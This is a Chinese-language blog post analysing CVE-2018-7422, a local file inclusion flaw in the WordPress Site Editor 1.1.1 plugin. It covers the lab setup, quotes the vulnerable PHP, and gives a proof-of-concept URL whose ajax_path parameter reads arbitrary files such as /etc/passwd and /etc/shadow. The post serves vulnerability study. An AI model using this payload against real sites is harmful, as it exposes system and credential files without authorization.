Wordpress Plugin Site Editor 1.1.1 - 本地文件包含漏洞分析(每日一洞)
2018-03-25

0x01 前言

大概有一周没有写文章了,比赛完嗨皮了两天,喝酒喝到半夜回来继续看文章,看到了exploit的关于wordpress一个漏洞信息CVE-2018-7422 ,下面就来分析一下这个本地文件包含的漏洞代码,如果权限够的话是可以读取系统的一些敏感的文件例如:/etc/passwd、/etc/shadow等。

0x02 漏洞复现

环境

攻击机:Deepin Linux x64
Wordpress服务器:Windows 10 x64 (phpstudy)
搭建环境有些要注意的,例如上传插件是大于2M的,要php.ini里面修改下再重启下就行了。

Proof of Concept

1
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=要读取的文件绝对路径或者相对路径

结果

0x03 代码分析

文件在wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php

你可以去插件的官方github看,前天的漏洞,现在还没修复
https://github.com/SiteEditor/editor/blob/master/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php

这个漏洞代码比较简单容易,新手也很适合理解。
整合代码执行流程就是判断文件是否存在,存在就require_once包含,不存在就报错。
这里有一个点,为什么说是只能本地文件包含呢,不能用远程包含吗?如果远程文件包含不就可以利用php的协议来getshell了吗?
因为file_exists函数只能判断本地文件,如果是远程文件的话就会判断文件不存在了。

1
2
3
4
5
6
7
8
9
10
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
require_once $_REQUEST['ajax_path'];
}else{
echo json_encode( array(
'success' => false,
'message' => "Error: didn't load shortcodes pattern file",
)
);
return ;
}

0x04 结束

再给我点时间,嗨皮过头了还没缓过神来,看过大表哥对我文章的评价,我会改进文章的一些细节,展现更好的给大家。

0x05 参考

插件源码下载:https://pan.lanzou.com/i0ps44b

https://wordpress.org/plugins/site-editor/

https://www.exploit-db.com/exploits/44340/

http://php.net/manual/zh/function.is-file.php